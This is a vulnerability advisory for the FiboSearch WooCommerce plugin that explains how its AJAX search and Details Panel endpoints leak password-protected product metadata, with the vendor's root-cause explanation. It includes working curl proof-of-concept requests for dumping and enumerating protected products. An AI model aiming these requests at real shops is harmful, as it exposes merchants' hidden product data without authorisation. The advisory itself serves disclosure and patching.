FiboSearch < 1.34.1 – Unauthenticated Password-Protected Product Information Disclosure | CVE 2026-16612

Description

The plugin does not consistently exclude password-protected products from its unauthenticated AJAX endpoints, allowing unauthenticated users to disclose and enumerate password-protected products and their metadata without entering the product password. Two endpoints are affected: the autocomplete search endpoint (dgwt_wcas_ajax_search) and the Details Panel endpoint (dgwt_wcas_result_details) when queried for taxonomy details.

Proof of Concept

Prerequisite: WooCommerce active and at least one published password-protected product (Products > Edit product > Publish box > Visibility > Password protected). For step 2, a Subscriber/Customer account (WooCommerce self-registration). For step 4, a product category (or tag) containing at least one password-protected product.

# 1. Unauthenticated, no search keyword. Affected up to and including 1.34.0:
curl "https://victim.example/?wc-ajax=dgwt_wcas_ajax_search"
# -> suggestions[] lists every published product, password-protected ones included,
#    each with post_id, title, URL, thumbnail, price, SKU and short-description,
#    and "total" gives the full count.

# 2. Subscriber with a matching keyword. Affected up to and including 1.33.0:
#    Log in as a Subscriber/Customer, then:
curl -b sub.cookies "https://victim.example/?wc-ajax=dgwt_wcas_ajax_search&s=SECRET_TITLE&dgwt_wcas_keyword=SECRET_TITLE"
# -> suggestions[0] returns the protected product with the same metadata; total=1.
#    The identical request logged out returns total=0.

# 3. Enumeration via step 2 as the Subscriber, on 1.33.0:
curl -b sub.cookies "https://victim.example/?wc-ajax=dgwt_wcas_ajax_search&s=SECRET_&dgwt_wcas_keyword=SECRET_"
# -> total > 0 with the protected product titles listed.

# 4. Unauthenticated, Details Panel endpoint. Affected up to and including 1.34.0.
#    Disclosed to us by the vendor while fixing 1-3; same defect class, same release.
#    The endpoint reads $_POST['items'], an array of objects, so the objectID goes in
#    the body rather than the query string:
curl -X POST "https://victim.example/?wc-ajax=dgwt_wcas_result_details" \
  --data-urlencode "items[0][objectID]=taxonomy__<termID>__product_cat"
# -> items[0].html is the rendered panel, listing the term's products including the
#    password-protected ones with title, permalink, thumbnail and price. The query
#    excluded hidden products but not password-protected ones. The same applies to
#    product_tag and any other registered product taxonomy.

# In every case the protected product permalink still serves the WordPress password
# form, so no legitimate access is granted, yet the metadata leaks through search.

ROOT CAUSE (per vendor)

In 1.34.0 the post_password = '' condition was appended to the search clause, so it
was dropped together with the clause when no phrase was given - which is why step 1
survived the 1.34.0 fix. In 1.34.1 the exclusion becomes a standalone posts_where
filter (Helpers::excludePasswordProtectedProducts) hooked around each product query
on these endpoints, so it applies regardless of the phrase. The Details Panel query
uses the same query-level exclusion.